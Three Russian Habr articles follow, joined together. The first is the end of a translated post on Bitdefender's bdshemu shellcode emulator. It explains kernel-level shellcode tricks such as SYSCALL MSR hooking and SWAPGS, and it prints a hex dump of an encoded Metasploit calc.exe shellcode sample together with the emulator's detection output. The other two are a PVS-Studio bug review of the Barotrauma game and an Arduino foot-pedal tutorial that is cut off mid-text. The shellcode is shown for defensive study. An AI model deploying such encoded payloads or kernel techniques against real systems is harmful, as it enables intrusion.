--------------------------------------------
Хотя вышеупомянутые методы общие и могут применяться к любому шелл-коду, в любой операционной системе, как в 32-, так и в 64-битной версии (за исключением обнаружения доступа к TIB, которое специфично для Windows) bdshemu может определять специфичное для ядра поведение шелл-кода.
Доступ KPCR
-----------
Область управления процессором ядра (KPCR) — это структура для каждого процессора в системах Windows, которая содержит много критически важной для ядра информации, но также может быть полезной для злоумышленника. Обычно шелл-код может ссылаться на текущий выполняющийся поток, который можно получить, обратившись к структуре KPCR, со смещением `0x124` в 32-битных системах и `0x188` в 64-битных системах. Так же, как и в методе обнаружения доступа к TIB, bdshemu отслеживает обращения к памяти, и когда эмулируемый код считывает текущий поток из KPCR, он запускает обнаружение доступа к KPCR.
Выполнение SWAPGS
-----------------
`SWAPGS` — это системная инструкция, которая выполняется только при переходе из пользовательского режима в режим ядра, и наоборот. Иногда, из-за специфики определенных эксплойтов ядра злоумышленнику в конечном счёте нужно выполнить `SWAPGS` — например, полезная нагрузка ядра `EternalBlues`, как известно, перехватывает обработчик `SYSCALL`, поэтому нужно выполнить `SWAPGS`, когда состоялся `SYSCALL`, подобно тому, как это сделал бы обычный системный вызов.
bdshemu запускает обнаружение `SWAPGS` всякий раз, когда инструкция SWAPGS выполняется подозрительным шелл-кодом.
Чтение и запись MSR
-------------------
Иногда шелл-код (например вышеупомянутая полезная нагрузка ядра EternalBlue) должен изменить обработчик `SYSCALL`, чтобы перейти в стабильную среду выполнения (например, потому что исходный шелл-код выполняется в высоких значениях диапазона IRQL, которые необходимо снизить перед вызовом полезных подпрограмм). Это делается путём изменения `MSR SYSCALL` с помощью инструкции `WRMSR`, а затем ожидания выполнения системного вызова (который находится на более низком уровне IRQL) для продолжения выполнения (здесь также пригодится метод `SWAPGS` потому, что на 64-битной версии `SWAPGS` должна выполняться после каждого `SYSCALL`).
Кроме того, чтобы найти образ ядра в памяти и, следовательно, полезные процедуры ядра, быстрый и простой способ — запросить `SYSCALL MSR` (которая обычно указывает на обработчик `SYSCALL` внутри образа ядра), а затем пройти по страницам назад, пока не будет найдено начало образа ядра.
bdshemu будет запускать обнаружение доступа `MSR` всякий раз, когда подозрительный шелл-код обращается к `MSR SYSCALL`, (как в 32-, так и в 64-битном режиме).
Пример
------
Проект bdshemu содержит несколько синтетических тестовых примеров, но лучший способ продемонстрировать его функциональность — использовать реальный шелл-код. В этом отношении Metasploit замечателен в создании разных видов полезной нагрузки с использованием всех видов кодировщиков. В качестве чисто дидактического [прим. перев. — назидательного] примера возьмём такой код:
```
DA C8 D9 74 24 F4 5F 8D 7F 4A 89 FD 81 ED FE FF
FF FF B9 61 00 00 00 8B 75 00 C1 E6 10 C1 EE 10
83 C5 02 FF 37 5A C1 E2 10 C1 EA 10 89 D3 09 F3
21 F2 F7 D2 21 DA 66 52 66 8F 07 6A 02 03 3C 24
5B 49 85 C9 0F 85 CD FF FF FF 1C B3 E0 5B 62 5B
62 5B 02 D2 E7 E3 27 87 AC D7 9C 5C CE 50 45 02
51 89 23 A1 2C 16 66 30 57 CF FB F3 9A 8F 98 A3
B8 62 77 6F 76 A8 94 5A C6 0D 4D 5F 5D D4 17 E8
9C A4 8D DC 6E 94 6F 45 3E CE 67 EE 66 3D ED 74
F5 97 CF DE 44 EA CF EB 19 DA E6 76 27 B9 2A B8
ED 80 0D F5 FB F6 86 0E BD 73 99 06 7D 5E F6 06
D2 07 01 61 8A 6D C1 E6 99 FA 98 29 13 2D 98 2C
48 A5 0C 81 28 DA 73 BB 2A E1 7B 1E 9B 41 C4 1B
4F 09 A4 84 F9 EE F8 63 7D D1 7D D1 7D 81 15 B0
9E DF 19 20 CC 9B 3C 2E 9E 78 F6 DE 63 63 FE 9C
2B A0 2D DC 27 5C DC BC A9 B9 12 FE 01 8C 6E E6
6E B5 91 60 F2 01 9E 62 B0 07 C8 62 C8 8C
```
Сохранение этого кода как двоичного файла как `shellcode.bin` с последующим просмотром его содержимого дает плотно упакованный фрагмент кода, весьма характерный для зашифрованного шелл-кода:
В disasmtool — инструменте проекта bddisasm, для запуска эмулятора шелл-кода на входе можно воспользоваться параметром `-shemu`.
```
disasmtool -b32 -shemu -f shellcode.bin
```
Выполнение отобразит пошаговую информацию о каждой эмулируемой команде, но так как эта трассировка длинная, давайте перейдем непосредственно к концу `if`:
```
Emulating: 0x0000000000200053 XOR eax, eax
RAX = 0x0000000000000000 RCX = 0x0000000000000000 RDX = 0x000000000000ee00 RBX = 0x0000000000000002
RSP = 0x0000000000100fd4 RBP = 0x0000000000100fd4 RSI = 0x0000000000008cc8 RDI = 0x000000000020010c
R8 = 0x0000000000000000 R9 = 0x0000000000000000 R10 = 0x0000000000000000 R11 = 0x0000000000000000
R12 = 0x0000000000000000 R13 = 0x0000000000000000 R14 = 0x0000000000000000 R15 = 0x0000000000000000
RIP = 0x0000000000200055 RFLAGS = 0x0000000000000246
Emulating: 0x0000000000200055 MOV edx, dword ptr fs:[eax+0x30]
Emulation terminated with status 0x00000001, flags: 0xe, 0 NOPs
SHEMU_FLAG_LOAD_RIP
SHEMU_FLAG_WRITE_SELF
SHEMU_FLAG_TIB_ACCESS
```
Мы видим, что последняя эмулированная инструкция — `MOV edx, dword ptr fs: [eax + 0x30]` — это инструкция доступа к TEB, но она также запускает эмуляцию, которая должна быть остановлена, поскольку это — доступ за пределы памяти шелл-кода (вспомним, что bdshemu остановится при первом обращении к памяти вне шелл-кода или стека). Более того, этот небольшой шелл-код (сгенерированный с помощью Metasploit) вызвал 3 обнаружения в bdshemu:
1. `SHEMU_FLAG_LOAD_RIP` — шелл-код загружает RIP в регистр общего назначения, чтобы определить его позицию в памяти.
2. `SHEMU_FLAG_WRITE_SELF` — расшифровывает сам себя, а затем выполняет расшифрованные фрагменты.
3. SHEMU\_FLAG\_TIB\_ACCESS — обращается к PEB, чтобы найти важные библиотеки и функции.
Этих срабатываний более чем достаточно, чтобы сделать вывод, что эмулируемый код, без сомнения, является шелл-кодом. Что еще более удивительно в bdshemu, так это то, что обычно в конце эмуляции память содержит расшифрованную форму шелл-кода. disasmtool достаточно хорош, чтобы сохранить память шелл-кода после завершения эмуляции: создаётся новый файл с именем `shellcode.bin_decoded.bin`, содержащий декодированный шелл-код. Давайте посмотрим на него:
Глядя на декодированный шелл-код, можно сразу увидеть не просто отличия, но и простой текст — зоркий глаз быстро обнаружит строку `calc.exe` в конце шелл-кода, намекая нам, что это классический `calc.exe`, порождающий шелл-код.
Заключение
----------
В этом посте мы представили эмулятор шелл-кода Bitdefender, который является важной частью технологии обнаружения эксплойтов HVMI. bdshemu построен для обнаружения индикаторов шелл-кода на уровне двоичного кода, без необходимости эмулировать сложные вызовы API, сложное расположение памяти или архитектурные объекты, такие как таблицы страниц, таблицы дескрипторов и т. д. — bdshemu фокусируется на том, что имеет наибольшее значение, эмулируя инструкции и определяя шелл-код по поведению.
Благодаря своей простоте bdshemu работает с шелл-кодом, нацеленным на любую операционную систему: большинство методов обнаружения определены на уровне поведения инструкций, а не на высокоуровневом поведении (например на уровне вызовов API). Кроме того, он работает как с 32-битным, так и с 64-битным кодом, а также с кодом, специфичным для режимов пользователя или ядра.
[Ссылка на Github](https://github.com/bitdefender/bddisasm)
На тот случай если вы задумали сменить сферу или повысить свою квалификацию — промокод **HABR** даст вам дополнительные 10 % к скидке указанной на баннере.
[](https://skillfactory.ru/?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_banner&utm_term=regular&utm_content=habr_banner)
* [Профессия Этичный хакер](https://skillfactory.ru/cybersecurity?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_HACKER&utm_term=regular&utm_content=161120)
* [Обучение профессии Data Science](https://skillfactory.ru/dstpro?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DSPR&utm_term=regular&utm_content=161120)
* [Обучение профессии Data Analyst](https://skillfactory.ru/dataanalystpro?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DAPR&utm_term=regular&utm_content=161120)
* [Онлайн-буткемп по Data Analytics](https://skillfactory.ru/business-analytics-camp?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DACAMP&utm_term=regular&utm_content=161120)
* [Курс «Python для веб-разработки»](https://skillfactory.ru/python-for-web-developers?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_PWS&utm_term=regular&utm_content=161120)
**Eще курсы**
* [Продвинутый курс «Machine Learning Pro + Deep Learning»](https://skillfactory.ru/ml-and-dl?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MLDL&utm_term=regular&utm_content=161120)
* [Курс «Математика и Machine Learning для Data Science»](https://skillfactory.ru/math_and_ml?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MATML&utm_term=regular&utm_content=161120)
* [Курс по Machine Learning](https://skillfactory.ru/ml-programma-machine-learning-online?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ML&utm_term=regular&utm_content=161120)
* [Разработчик игр на Unity](https://skillfactory.ru/game-dev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_GAMEDEV&utm_term=regular&utm_content=161120)
* [Курс по JavaScript](https://skillfactory.ru/javascript?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_FJS&utm_term=regular&utm_content=161120)
* [Профессия Веб-разработчик](https://skillfactory.ru/webdev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_WEBDEV&utm_term=regular&utm_content=161120)
* [Профессия Java-разработчик](https://skillfactory.ru/java?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_JAVA&utm_term=regular&utm_content=161120)
* [C++ разработчик](https://skillfactory.ru/cplus?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_CPLUS&utm_term=regular&utm_content=161120)
* [Курс по аналитике данных](https://skillfactory.ru/analytics?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_SDA&utm_term=regular&utm_content=161120)
* [Курс по DevOps](https://skillfactory.ru/devops?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DEVOPS&utm_term=regular&utm_content=161120)
* [Профессия iOS-разработчик с нуля](https://skillfactory.ru/iosdev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_IOSDEV&utm_term=regular&utm_content=161120)
* [Профессия Android-разработчик с нуля](https://skillfactory.ru/android?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ANDR&utm_term=regular&utm_content=161120)
Рекомендуемые статьи
--------------------
* [Как стать Data Scientist без онлайн-курсов](https://habr.com/ru/company/skillfactory/blog/507024)
* [450 бесплатных курсов от Лиги Плюща](https://habr.com/ru/company/skillfactory/blog/503196/)
* [Как изучать Machine Learning 5 дней в неделю 9 месяцев подряд](https://habr.com/ru/company/skillfactory/blog/510444/)
* [Сколько зарабатывает аналитик данных: обзор зарплат и вакансий в России и за рубежом в 2020](https://habr.com/ru/company/skillfactory/blog/520540/)
* [Machine Learning и Computer Vision в добывающей промышленности](https://habr.com/ru/company/skillfactory/blog/522776/) | https://habr.com/ru/post/527512/ | null | ru | null |
# Проверка Barotrauma статическим анализатором PVS-Studio
Barotrauma – игра, в которой можно поуправлять подлодкой, попрятаться от монстров и даже поиграть на аккордеоне в попытке не пойти ко дну. Посмотрим, как проект, начатый инди-студией Undertow Games и продолженный совместно с FakeFish, выглядит изнутри. Для этого исследуем исходный код, преимущественно написанный на языке C#, с помощью статического анализатора PVS-Studio.
### Введение
Barotrauma – многопользовательский космический 2D-симулятор подлодки в жанре survival horror. Игроку предстоит управлять подлодкой, отдавать приказы, устранять протечки и противостоять опасностям.
Barotrauma не является Open Source проектом в обычном понимании. Ранняя версия игры доступна бесплатно, текущая версия доступна в [Steam](https://store.steampowered.com/app/602960/Barotrauma/). Разработчики опубликовали исходный код на [GitHub](https://github.com/Regalis11/Barotrauma) для того, чтобы сообщество игроков могло свободно разрабатывать более комплексные моды и находить существующие ошибки.
### Результаты проверки
#### Ошибки в if
[V3001](https://pvs-studio.com/ru/docs/warnings/v3001/) There are identical sub-expressions 'string.IsNullOrEmpty(EndPoint)' to the left and to the right of the '||' operator. BanList.cs 41
```
public bool CompareTo(string endpointCompare)
{
if (string.IsNullOrEmpty(EndPoint) || string.IsNullOrEmpty(EndPoint))
{ return false; }
....
}
```
Значение *EndPoint* проверяется дважды. Разработчик, скорее всего, забыл поменять параметр *EndPoint* на *endpointCompare* при копировании метода *string.IsNullOrEmpty*. Вообще программисты очень часто ошибаются в методах сравнения. Рекомендую почитать [статью](https://pvs-studio.com/ru/blog/posts/cpp/0509/) коллеги об этом.
[V3004](https://pvs-studio.com/ru/docs/warnings/v3004/) The 'then' statement is equivalent to the 'else' statement. ServerEntityEventManager.cs 314
```
public void Write(Client client, IWriteMessage msg,
out List sentEvents)
{
List eventsToSync = null;
if (client.NeedsMidRoundSync)
{
eventsToSync = GetEventsToSync(client);
}
else
{
eventsToSync = GetEventsToSync(client);
}
....
}
```
Вне зависимости от значения *client.NeedsMidRoundSync* будет выполняться одно и то же. Возможно следует убрать *else*-ветвь или переработать её поведение.
Следующий фрагмент кода вызвал два предупреждения:
* [V3021](https://pvs-studio.com/ru/docs/warnings/v3021/) There are two 'if' statements with identical conditional expressions. The first 'if' statement contains method return. This means that the second 'if' statement is senseless DebugConsole.cs 2177
* [V3022](https://pvs-studio.com/ru/docs/warnings/v3022/) Expression 'args.Length < 2' is always false. DebugConsole.cs 2183
```
private static void InitProjectSpecific()
{
....
AssignOnClientRequestExecute(
"setclientcharacter",
(Client senderClient, Vector2 cursorWorldPos, string[] args) =>
{
if (args.Length < 2)
{
GameMain.Server.SendConsoleMessage("....", senderClient);
return;
}
if (args.Length < 2)
{
ThrowError("....");
return;
}
);
....
}
```
Две одинаковые проверки. В случае выполнения условия первого *if* метод завершит работу, иначе же обе *then*-ветви не будут выполнены.
При такой работе сообщение будет отправляться, но запись ошибки методом *ThrowError* не произойдёт. Следует объединить два тела *if* или изменить условие второго.
[V3022](https://pvs-studio.com/ru/docs/warnings/v3022/) Expression 'newPrice > 0' is always true. DebugConsole.cs 3310
```
private static void PrintItemCosts(....)
{
if (newPrice < 1)
{
NewMessage(depth + materialPrefab.Name +
" cannot be adjusted to this price, because it would become less than 1.");
return;
}
....
if (newPrice > 0)
{
newPrices.TryAdd(materialPrefab, newPrice);
}
....
}
```
Если *newPrice* меньше или равен 0, следует выполнение тела первого *if*. После этого исполнение метода завершается. Следовательно условие второго *if* всегда будет истинно. Поэтому можно добавить тело второго \*if \*в *else*-ветвь первого или же вовсе его убрать.
#### Опечатки
[V3005](https://pvs-studio.com/ru/docs/warnings/v3005/) The 'arrowIcon.PressedColor' variable is assigned to itself. ChatBox.cs 164
```
public ChatBox(GUIComponent parent, bool isSinglePlayer)
{
....
arrowIcon = new GUIImage(....)
{
Color = new Color(51, 59, 46)
};
arrowIcon.HoverColor = arrowIcon.PressedColor =
arrowIcon.PressedColor = arrowIcon.Color;
....
}
```
Значение переменной \*arrowIcon.PressedColor \*присваивается самой себе. В то же время внутри класса \*GUIIMage \*содержится свойство *SelectedColor*. Скорее всего, разработчик хотел использовать его, но опечатался.
[V3005](https://pvs-studio.com/ru/docs/warnings/v3005/) The 'Penetration' variable is assigned to itself. Attack.cs 324
```
public Attack(float damage,
float bleedingDamage,
float burnDamage,
float structureDamage,
float itemDamage,
float range = 0.0f,
float penetration = 0f)
{
....
Range = range;
DamageRange = range;
StructureDamage = LevelWallDamage = structureDamage;
ItemDamage = itemDamage;
Penetration = Penetration; // <=
}
```
Ещё одна подобная ошибка. В этом случае программист хотел проинициализировать свойства объекта, но вместо параметра *penetration* присвоил свойству *Penetration* своё же значение.
[V3025](https://pvs-studio.com/ru/docs/warnings/v3025/) Incorrect format. A different number of format items is expected while calling 'Format' function. Arguments not used: t.Character.Name. DebugConsole.cs 1123
```
private static void InitProjectSpecific()
{
AssignOnClientRequestExecute("traitorlist",
(Client client, Vector2 cursorPos, string[] args) =>
{
....
GameMain.Server.SendTraitorMessage(
client,
string.Format("- Traitor {0} has no current objective.", // <=
"", // <=
t.Character.Name), // <=
"",
TraitorMessageType.Console);
});
}
```
Исходя из смысла использованной в методе *GameMain.Server.SendTraitorMessage* фразы, логично предположить, что спецификатор ввода *{0}* должен был содержать *t.Character.Name*. Однако же там окажется пустая строка.
Ошибка, скорее всего, является следствием неудачного copy-paste предыдущего использования метода *GameMain.Server.SendTraitorMessage*:
```
GameMain.Server.SendTraitorMessage(client,
"There are no traitors at the moment.", "", TraitorMessageType.Console);
```
#### Возможно возникновение NullReferenceException
[V3153](https://pvs-studio.com/ru/docs/warnings/v3153/) Enumerating the result of null-conditional access operator can lead to NullReferenceException. Voting.cs 181
```
public void ClientRead(IReadMessage inc)
{
....
foreach (GUIComponent item in
GameMain.NetLobbyScreen?.SubList?.Content?.Children) // <=
{
if (item.UserData != null && item.UserData is SubmarineInfo)
{
serversubs.Add(item.UserData as SubmarineInfo);
}
}
....
}
```
Если хотя бы один компонент из последовательности *GameMain.NetLobbyScreen?.SubList?.Content?.Children* будет равен *null*, то результат всего выражения тоже будет равен *null*. В таком случае будет выброшено исключение \*NullReferenceException \*при попытке перебора в *foreach*.
Подробно про использование оператора *?*. в *foreach* можно прочитать в [этой статье](https://pvs-studio.com/ru/blog/posts/csharp/0832/).
[V3027](https://pvs-studio.com/ru/docs/warnings/v3027/) The variable 'spawnPosition' was utilized in the logical expression before it was verified against null in the same logical expression. LevelObjectManager.cs 274
```
private void PlaceObject(LevelObjectPrefab prefab,
SpawnPosition spawnPosition,
Level level, Level.Cave parentCave = null)
{
float rotation = 0.0f;
if ( prefab.AlignWithSurface
&& spawnPosition.Normal.LengthSquared() > 0.001f // <=
&& spawnPosition != null) // <=
{
rotation = MathUtils.VectorToAngle(new Vector2(spawnPosition.Normal.Y,
spawnPosition.Normal.X));
}
....
}
```
Из кода видно, что сначала идёт вызов метода *LengthSquared* у поля *Normal* переменной *spawnPosition* и сравнение его с заданным значением, а затем переменная проверяется на *null*. Если *spawnPosition* будет равна *null*, то возникнет исключение *NullReferenceException*.
Простейшим решением будет поместить проверку на *null* в начало условия.
[V3095](https://pvs-studio.com/ru/docs/warnings/v3095/) The 'level' object was used before it was verified against null. Check lines: 107, 115. BeaconMission.cs 107
```
public override void End()
{
completed = level.CheckBeaconActive(); // <=
if (completed)
{
if (Prefab.LocationTypeChangeOnCompleted != null)
{
ChangeLocationType(Prefab.LocationTypeChangeOnCompleted);
}
GiveReward();
if (level?.LevelData != null) // <=
{
level.LevelData.IsBeaconActive = true;
}
}
}
```
Сначала значение *level.CheckBeaconActive* присваивается, а затем используется оператор *?.* в выражении *level?.LevelData*. В этом случае возможны ситуации, когда *level* будет равен *null* — и будет выброшено исключение *NullReferenceException* либо *level* никогда не будет *null —* и проверка избыточна.
#### Выход за границы
[V3106](https://pvs-studio.com/ru/docs/warnings/v3106/) Possibly index is out of bound. The '0' index is pointing beyond 'Sprites' bound. ParticlePrefab.cs 303
```
public ParticlePrefab(XElement element, ContentFile file)
{
....
if (CollisionRadius <= 0.0f)
CollisionRadius = Sprites.Count > 0 ? 1 :
Sprites[0].SourceRect.Width / 2.0f;
}
```
При выполнении условия тернарного оператора значение переменной *CollisionRadius* станет равно 1. В противном случае значение *Sprites.Count* равно 0, и при обращении к первому элементу коллекции возникнет исключение *IndexOutOfRangeException*.
Ранее по коду встречается проверка: является ли коллекция пустой.
```
if (Sprites.Count == 0)
{
DebugConsole.ThrowError($"Particle prefab \"{Name}\" in the file \"{file}\"
has no sprites defined!");
}
```
Однако блокирование выполнения дальнейшего кода не происходит. Разработчику следует пересмотреть условие тернарного оператора.
#### Лишние действия
[V3107](https://pvs-studio.com/ru/docs/warnings/v3107/) Identical expression 'power' to the left and to the right of compound assignment. RelayComponent.cs 150
```
public override void ReceivePowerProbeSignal(Connection connection,
Item source, float power)
{
....
if (power < 0.0f)
{
....
}
else
{
if (connection.IsOutput || powerOut == null) { return; }
if (currPowerConsumption - power < -MaxPower)
{
power += MaxPower + (currPowerConsumption - power);
}
}
}
```
Программист пытается прибавить переменной *power* переменную *MaxPower* и разницу между переменными *currPowerConsumption* и *power*. В разложенном варианте выражение будет иметь вид:
```
power = power + MaxPower + (currPowerConsumption - power);
```
Выражение можно упростить, так как переменная *power* вычитается сама из себя. Упрощённый код будет выглядеть так:
```
power = MaxPower + currPowerConsumption;
```
#### Всегда false
[V3009](https://pvs-studio.com/ru/docs/warnings/v3009/) It's odd that this method always returns one and the same value of 'false'. FileSelection.cs 395
```
public static bool MoveToParentDirectory(GUIButton button, object userdata)
{
string dir = CurrentDirectory;
if (dir.EndsWith("/")) { dir = dir.Substring(0, dir.Length - 1); }
int index = dir.LastIndexOf("/");
if (index < 0) { return false; }
CurrentDirectory = CurrentDirectory.Substring(0, index+1);
return false;
}
```
Странный метод, всегда возвращающий *false*. Возможно, здесь нет ошибки и так задумано, либо один из *return* должен возвращать *true*.
#### Утраченное значение
[V3010](https://pvs-studio.com/ru/docs/warnings/v3010/) The return value of function 'Trim' is required to be utilized. GameServer.cs 1589
```
private void ClientWriteInitial(Client c, IWriteMessage outmsg)
{
....
if (gameStarted)
{
....
if (ownedSubmarineIndexes.Length > 0)
{
ownedSubmarineIndexes.Trim(';');
}
outmsg.Write(ownedSubmarineIndexes);
}
}
```
Метод *Trim* не меняет значение *ownedSubmarineIndexes*, поэтому нет смысла вызывать его, не сохраняя результат. Правильный вариант:
```
ownedSubmarineIndexes = ownedSubmarineIndexes.Trim(';');
```
### Заключение
PVS-Studio обнаружил ряд ошибок, опечаток и недочётов в исходном коде Baratrauma. Многие из них довольно легко допустить при разработке и оставить незамеченными на code-review.
Статический анализ может помочь разработчикам сохранить время, которое они бы потратили на поиск и исправление багов, и уделить его разработке нового контента. Однако мало проверить код один раз. Максимальная эффективность достигается при регулярном использовании анализатора в процессе написания кода.
О проверке других проектов с помощью статического анализатора PVS-Studio можно прочесть в нашем [блоге](https://pvs-studio.com/ru/blog/).
Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Mikhail Evtihevich. [Checking Barotrauma with the PVS-Studio static analyzer](https://pvs-studio.com/en/blog/posts/csharp/0930/). | https://habr.com/ru/post/658361/ | null | ru | null |
# Педаль в пол: создаём очередной ножной манипулятор для ПК
Буквально месяц назад я натолкнулся на [эту](https://habr.com/ru/post/232177/) статью, где повествуется о педалировании Vim. Чуть позже, после своего длительного трёхминутного исследования, я выяснил, что что тема эта уже не новая и довольно популярная. Сам я Vim использую только в случае крайней необходимости (если уж и приходится работать в консоли, то предпочитаю Nano), но ведь можно сделать подобное и под другие приложения.
Изначально я хотел сделать небольшую статейку, однако у меня получился целый туториал по созданию данного девайса с пошаговым написанием кода и пояснением что да как. Дабы не раздувать статью, под спойлерами будет различная информация, которая показалась мне интересной и достойной внимания новичков в Arduino, продвинутые и особо торопливые же пользователи могут не тратить на то время. Полный исходный код также представлен в конце статьи.
А зачем оно мне?
----------------
Если у вас нет сомнений в необходимости и полезности этого устройства, то можете пропустить этот пункт. Для остальных сначала хотелось бы рассказать о предпосылках создания данного устройства.
Во все времена программисты и дизайнеры старались сделать удобный и дружественный интерфейс, чтобы пользователь мог без лишних заморочек работать с приложением используя мышь и клавиатуру, так зачем же нам ещё один манипулятор? Что же, заглянем немного в историю, а точнее, в начало XVIII века, когда был изобретён такой музыкальный инструмент, как фортепиано. Как известно, это слово буквально переводится как «громко-тихо», но мало кто задумывается, что такой инструмент умный итальянский мастер получил, фактически «запедалировав» существовавший тогда клавесин, что и позволило в какой-то степени управлять громкостью звука, при этом не отнимая руки от клавиш.
Примеров можно приводить много. Педали есть у автомобиля, чтобы не бросать руль, если надо добавить газ. Барабанная установка тоже имеет педали, чтобы стучать в бас-бочку и тарелки. А что могут дать педали при использовании компьютера? Ну, например, можно задать какую-нибудь горячую комбинацию клавиш, или вообще добавить клавишу, которой нет, вроде включения и выключения звука. Педали могут помочь, если заняты руки: сам я играю на гитаре, при этом иногда под аккомпанемент, я было бы очень удобно проматывать подложку, не пытаясь постоянно дотянуться до клавиатуры. Ну и, наконец, контроллеры могут давать и совершенно нечеловеческие возможности в играх: было бы круто одним кликом построить себе всю базу в стратегии или крушить врагов со скоростью десятка ударов в секунду в шутерах, не так ли?
В общем, надеюсь, я вас убедил, а значит, пора приступать непосредственно к самой разработке.
Необходимые ресурсы
-------------------
* **Собственно, педали.** Тут сразу же возникли некоторые сложности из-за того, что я никак не мог придумать название для такой педали. Я знал лишь то, что подобные вещи используются в швейных машинках. В общем, по запросу **electric pedal** мне всё же удалось найти то, что нужно, на Aliexpress, и я, недолго думая, заказал 3 штуки.
* **Контроллер.** Педалборд должен эмулировать работу клавиатуры и, возможно, мыши для возможности подключения к ПК без лишних драйверов. Для этого отлично подойдёт плата Arduino Pro Micro, которая хоть и не имеет некоторых выводов, но зато сделана максимально компактно. Идём на тот же Aliexpress, и покупаем китайскую версию этого чуда.
* **Провода.** Чтобы поместить 3 педали под стол, нужен как минимум четырёхжильный провод длиной не меньше метра. Тут, думаю, проблем возникнуть не должно.
* **RGB-светодиод и кнопка.** Первый нужен для индикации режимов, а вторая — для их переключения.
* Ну и, понятное дело, нам нужны Arduino IDE, паяльник и прямые руки.
Схема устройства
----------------
Ещё до того, как мне пришли посылки, я приступил к созданию схемы устройства. Хотя это сильно сказано, так как мне надо было всего лишь подключить педали, диод и кнопку. Получилось как-то так:
Для педалей я решил выделить сразу 4 порта PB1-PB4, то есть две для левой, и две для правой ноги, хотя пока педали у меня только 3. К тому же, они все находятся в одной группе и расположены в одном месте. Под светодиод я отвёл выводы PD0, PD1 и PD4, под кнопку — PD7.
При этом нам не понадобятся никакие подтягивающие резисторы, если использовать те, что встроены в контроллер. Правда, тогда, при нажатии кнопки или педали, на входе будет низкий уровень, а при отпускании — высокий, то есть, нажатия будут инвертироваться, и об этом не стоит забывать.
Написание кода
--------------
Этот этап был самым трудным: из-за пары ошибок в указателях я несколько раз стёр загрузчик и в итоге чуть не завалил плату на программном уровне. Ниже подробно расписаны все этапы создания прошивки, для тех же, кто просто хочет получить работающий код, он будет в конце статьи.
### Подготовка
Для начала нам нужно понять, что вообще такое педаль с точки зрения программы. Я решил сделать возможность задания педали одного из двух режимов — реального времени и триггера. Каждая педаль при этом имеет две программы: первая выполняется при удержании педали в режиме реального времени или при нечётных нажатиях в режиме триггера, вторая — при отпускании педали в режиме реального времени или при чётных нажатиях в режиме триггера. Так же у педали есть порт, состояние, и две переменные — текущие позиции в программах 1 и 2. У меня получилась вот такая структура:
```
struct pedal {
char port; // порт педали
char state; // состояние педали, для триггеров
char oldState; // старое состояние, для дебоунса
char pos1; // позиция 1
char pos2; // позиция 2
unsigned char type; //0 — режим реального времени, 1 — режим триггера;
unsigned char act1[16]; //программа 1
unsigned char act2[16]; //программа 2
};
```
Arduino имеет довольно мало памяти и к тому же 8-разрядная, так что лучше стараться использовать char нежели int там, где это возможно.
Так же нам понадобится стандартная библиотека Keyboard для работы в качестве клавиатуры.
### Обработка нажатий
Сейчас нам нужно сделать интерпретатор, который будет читать данные из массива и отправлять их в виде нажатий клавиш на машину, а так же выделить несколько значений под различные внутренние команды. Открываем [страницу](https://doc.arduino.ua/ru/prog/KeyboardModifiers) с кодами клавиш, и смотрим что и как мы можем нажать. Я не стал глубоко копать и изучать всякие стандарты клавиатур, так как информации здесь мне показалось вполне достаточно для такого проекта. Первая половина отведена под стандартные ASCII-символы (хотя некоторые из них и непечатаемы или не используются), вторая же — под различные клавиши-модификаторы. Есть даже отдельные коды для левых и правых клавиш, что очень порадовало, а вот специальных кодов для цифр с нампада я не увидел, хотя, насколько я знаю, они немного по-особому воспринимаются в системе, нежели обычные цифры. Возможно, их коды находятся где-то в «дырах», между диапазонами, но сейчас не об этом. Итак, самый большой код имеет клавиша «вверх» — 218, а значит, диапазон 219-255 можно считать свободным, ну или по крайней мере там нет каких-то важных клавиш.
```
void pedalAction() {
//255 будет означать, что педаль не объявлена
if (pedal1->type == 255)
return;
//указатель на массив с программой
unsigned char *prg;
//указатель на позицию в программе
char *pos;
if (pedal1->type) {
//код для определения педали в режиме триггера
int current;
if ((current = digitalRead(ports[num])) != oldState[num]) {
if (!current)
state[num] = !state[num];
oldState[num] = current;
}
if (!state[num]) {
//act1
pos2[num] = 0;
pos = &(pos1[num]);
prg = pedal1->act1;
} else {
//act2
pos1[num] = 0;
pos = &(pos2[num]);
prg = pedal1->act2;
}
} else {
//код для определения педали в режиме реального времени
if (!digitalRead(ports[num])) {
//act1
pos2[num] = 0;
pos = &(pos1[num]);
prg = pedal1->act1;
} else {
//act2
pos1[num] = 0;
pos = &(pos2[num]);
prg = pedal1->act2;
}
}
while (1) {
if (prg[*pos] == 254) {
//Удерживать клавишу, следующую за *pos
Keyboard.press(prg[++*pos]);
} else if (prg[*pos] == 253) {
//Отпустить клавишу, следующую за *pos
Keyboard.release(prg[++*pos]);
} else if (prg[*pos] == 252) {
//"Пропуск хода", ничего не делать
++*pos;
return;
} else if (prg[*pos] == 251) {
//Переместиться в программе на позицию в ячейке *pos+1
*pos = prg[*pos + 1];
return;
} else if (prg[*pos] == 255 || prg[*pos] == 0) {
//Конец программы, просто заглушка
return;
} else {
//Отправляем нажатие клавиши
Keyboard.write(prg[*pos]);
}
//Циклически переходим на ячейку вперёд после тех команд, после которых это необходимо
if (++*pos>=16)
pos = 0;
}
}
```
Думаю, даже у человека с не самым высоким уровнем знания Си не возникнет вопросов о том, что тут происходит. Сначала функция выбирает нужную педаль и определяет в зависимости от режима и состояния педали, какую программу стоит выполнять. При чтении каждого элемента массива, если он не является управляющим символом, вызывается функция Keyboard.write(), которая эмулирует нажатие и отпускание клавиши. Управляющие же символы обрабатывются отдельно и нужны для зажатия комбинаций клавиш и навигации по программе.
**Некоторые особенности работы в режиме клавиатуры**
